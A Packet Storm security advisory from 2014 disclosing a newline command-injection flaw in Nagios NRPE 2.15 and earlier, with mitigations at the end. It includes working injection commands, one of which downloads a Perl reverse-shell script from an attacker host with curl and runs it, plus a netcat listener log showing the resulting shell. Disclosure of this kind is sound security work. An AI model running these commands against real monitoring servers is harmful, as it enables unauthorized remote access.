exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios Remote Plugin Executor 2.15 Remote Command Execution

Nagios Remote Plugin Executor 2.15 Remote Command Execution
Posted Apr 17, 2014
Authored by Dawid Golunski

Nagios Remote Plugin Executor (NRPE) versions 2.15 and below suffer from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 035764b6de0406994622b53a57f33221624085f4e55263d2f7452b0cfbc8b3ed

Nagios Remote Plugin Executor 2.15 Remote Command Execution

Change Mirror Download

- Release date: 17.04.2014
- Discovered by: Dawid Golunski
- Severity: High


NRPE - Nagios Remote Plugin Executor <= 2.15 Remote Command Execution


Nagios is an open source computer system monitoring, network monitoring and
infrastructure monitoring software application. Nagios offers monitoring and
alerting services for servers, switches, applications, and services.
It alerts the users when things go wrong and alerts them a second time when
the problem has been resolved.

The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you to
execute Nagios plugins on remote Linux/Unix machines.
The main reason for doing this is to allow Nagios to monitor "local" resources
(like CPU load, memory usage, etc.) on remote machines. Since these public
resources are not usually exposed to external machines, an agent like NRPE must
be installed on the remote Linux/Unix machines.


Nagios Remote Plugin Executor (NRPE) contains a vulnerability that could
allow an attacker to remotely inject and execute arbitrary code on the host
under NRPE account (typically 'nagios').
The vulnerability is due to NRPE not properly sanitizing user input before
passing it to a command shell as a part of a configured command.
In order for an attacker to take advantage of the host NRPE must be compiled
and configured with command arguments.
No authentication is required to exploit this vulnerability if the NRPE port
has not been protected with a firewall.


NRPE expects definitions of commands in nrpe.cfg config file. Some of the
examples given in the config with hardcoded arguments are:

command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10
command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20
command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1

when command arguments are enabled then user is also allowed to define
commands with variables like:

command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$
command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$

This is often suggested for convenience in various nagios/nrpe setup tutorials
on the web.

To get a result from a defined command in NRPE daemon the following nrpe client
can be used with -a option that passes arguments:

# /usr/local/nagios/libexec/check_nrpe -H -c check_users -a 4 4

USERS OK - 4 users currently logged in |users=4;4;4;0

in case check_users command was defined with arguments as shown above
NRPE would execute:

/usr/local/nagios/libexec/check_users -w 4 -c 4

on the local system.

As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function for
command execution:

/* executes a system command via popen(), but protects against timeouts */
int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){
/* run the command */

using popen() results in the command being executed with the help of a command shell.

Before this function is reached however NRPE takes several measures to prevent
malicious command injection to the shell. That includes filtration based on a blacklist:

#define NASTY_METACHARS "|`&><'\"\\[]{};"

/* make sure request doesn't contain nasties */
syslog(LOG_ERR,"Error: Request contained illegal metachars!");

that prevents bash special characters like semicolon, pipe etc.

The code is also making sure that arguments do not contain bash command substitution
i.e. $(ps aux)

if(strstr(macro_argv[x],"$(")) {
syslog(LOG_ERR,"Error: Request contained a bash command substitution!");
return ERROR;

Despite these checks the code is vulnerable to command injection as bash shell allows
for multiple command execution if commands are separated by a new line.
None of the checks examines the arguments for an occurrence of a new line character: 0x0A


To execute an arbitrary command an attacker could simply add a new line character after
a parameter and follow it with his own command.

To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments:

# /usr/local/nagios/libexec/check_nrpe -H -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4

which make NRPE daemon run the following series of commands:

/usr/local/nagios/libexec/check_users -w <new_line>
touch /tmp/vulntest
# -c 4

and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to comment
out the the rest of the arguments.

An attacker gets a limited set of commands as most of the metacharacters are prohibited by the
blacklist. So for example it's difficult to create new files in the system without using > symbol etc.

An attacker could however download a snippet of perl/python etc. code from the web by using wget or
curl command and get a reverse shell. This would allow unrestricted access to the command line:

---------[revshell.pl on attackers-server]---------


use Socket;

#attackers ip to connect back to




exec("/bin/sh -i");

/usr/local/nagios/libexec/check_nrpe -H -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 "

[attacker@ ]# nc -v -l 8080
Connection from port 8080 [tcp/ddi-tcp-1] accepted
sh-4.1$ id
uid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd)
sh-4.1$ cat /etc/passwd | head -n 4 ; pwd
sh-4.1$ ls -l /tmp/tmp_revshell
-rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshell
sh-4.1$ rm -f /tmp/tmp_revshell


An attacker could exploit the vulnerability to gain access to the system
in the context of a nagios user this could lead to further compromise
of the server.


Current version of NRPE 2.15 and older are vulnerable.


Disable command arguments if possible.
Protect access to NRPE port and only allow access from a trusted
nagios server.
Install updated version of NRPE when it becomes available.




The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com


April 17th, 2014: Advisory created


The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By